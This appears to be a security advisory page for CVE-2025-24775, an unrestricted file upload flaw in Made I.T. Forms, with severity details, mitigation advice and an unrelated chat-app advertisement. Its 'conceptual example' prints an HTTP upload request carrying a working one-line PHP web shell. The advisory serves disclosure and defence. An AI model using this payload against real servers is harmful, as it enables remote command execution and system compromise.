Overview
The CVE-2025-24775 is a critical vulnerability that affects the Made I.T. Forms software. This vulnerability allows an attacker to upload a file of dangerous type, specifically a web shell, to the server, potentially compromising the entire system or leading to data leakage. The affected software version range is from ‘n/a’ through 2.9.0. Given the high CVSS Severity Score of 9.9, this vulnerability warrants immediate attention from system administrators and security professionals.
Vulnerability Summary
CVE ID: CVE-2025-24775
Severity: Critical (CVSS: 9.9)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Made I.T. Forms | n/a through 2.9.0
How the Exploit Works
The exploit takes advantage of the unrestricted file upload vulnerability present in Made I.T. Forms. This means that the software does not adequately inspect or limit the type of files that can be uploaded by users. An attacker can exploit this by uploading a specially crafted file, in this case, a web shell.
A web shell is a script that, when executed on a server, provides a hacker with remote control over the server. It gives the attacker the same permissions as the account that runs the web server software, which in many cases, is a high-privileged or system-level account.
Conceptual Example Code
The exploit could be performed by sending an HTTP POST request to the file upload endpoint with a malicious web shell file. Here’s a conceptual example of the HTTP request:
POST /upload HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: application/php
<?php system($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, `shell.php` is a simple web shell that allows execution of arbitrary commands on the server. The actual exploit would likely use a more complex and less detectable web shell.
Mitigation
The immediate mitigation for this vulnerability is to apply the vendor-provided patch. If the patch cannot be applied immediately, a temporary mitigation would be to use a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) to detect and block attempts to exploit this vulnerability. Additionally, consider restricting file uploads to only trusted users and validate the file type server-side before accepting the file.